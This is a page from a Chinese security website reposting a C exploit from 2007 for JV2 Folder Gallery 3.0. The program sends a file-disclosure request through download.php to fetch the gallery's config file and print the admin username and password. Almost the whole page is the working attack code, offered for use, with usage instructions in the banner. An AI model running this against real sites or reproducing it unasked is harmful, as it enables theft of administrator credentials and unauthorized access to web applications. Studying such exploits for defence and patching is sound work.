首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JV2 Folder Gallery 3.0 (download.php) Remote File Disclosure Exploit
来源:vfocus.net 作者:PeTrO 发布时间:2007-01-15  

/*
Script Name :JV2 Folder Gallery
Script site :www.jv2.net

Discovered by :SaO
Exploit Coded by :PeTrO
Credits To soulreaver,Kuz3y

Compile: Visual C++ or DevC++

*/

#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{

char gelenveri[1000];
char sendCommand[1000];
int i=0,sayac=0;

WSADATA wsdata;
SOCKET s;
struct hostent *hn;
struct sockaddr_in karsi_addr;
WSAStartup(MAKEWORD(2,0),&wsdata);

if(argc!=3)
{
printf("\t**************************************************************\n"
"\t* *\n"
"\t* JV2 Folder Gallery *\n"
"\t* Remote Admin uName and Pass. Exploit by PeTrO *\n"
"\t* *\n"
"\t* Usage:exploit targetSite [GalleryPath] *\n"
"\t* Example:exploit localhost /gallery/ *\n"
"\t* *\n"
"\t* Discovered by :SaO *\n"
"\t* Exploit Coded by :PeTrO *\n"
"\t**************************************************************\n");

exit(1);
}else{
hn=gethostbyname(argv[1]);
}

strcpy(sendCommand,"GET ");
strcat(sendCommand,argv[2]);
strcat(sendCommand,"download.php?file=config/gallerysetup.php \n\n");


printf("\n[+]Connecting....");
karsi_addr.sin_family = AF_INET;
karsi_addr.sin_port = htons(80);
karsi_addr.sin_addr =*((struct in_addr *)hn->h_addr);
memset(&(karsi_addr.sin_zero),'\0', 8);
if((s=socket(AF_INET, SOCK_STREAM, 0))==-1 ) //create a socket
{
printf("\n[-]Socket Error");
exit(-1);
}

if((connect(s,(struct sockaddr *)&karsi_addr,sizeof(struct sockaddr)))==-1)//connect server
{
printf("\n[-]Connecting Error");
exit(-1);
}

printf("\n[+]Sending command\n");
if((send(s,sendCommand,strlen(sendCommand),0))==-1)
{
printf("\n[-]Sending Error");
exit(-1);
}

if((recv(s,gelenveri,1000,0))==-1)
{
printf("\n[-]Receive Error");
exit(-1);
}

FILE *fp;

fp=fopen("data.txt","w");

for(i=0;sayac!=2;i++)
{
if(gelenveri[i]==59) sayac++;

printf("%c",gelenveri[i]);
}

fprintf(fp,"%s",gelenveri);

WSACleanup();
return 0;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ThWboard <= 3.0b2.84-php5 S
·WFTPD Pro Server <= 3.25 SI
·FdWeB Espace Membre <= 2.01
·Sami FTP Server 2.0.2 (USER/PA
·DigiAffiliate <= 1.4 (visu_
·BolinTech DreamFTP (USER) Remo
·MS Windows Explorer (WMF) Unsp
·VLC Media Player 0.8.6a Unspec
·eIQnetworks Network Security A
·Mac OS X 10.4.8 AppleTalk ATPs
·Wordpress <= 2.0.6 wp-track
·Kaspersky Antivirus 6.0 Local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved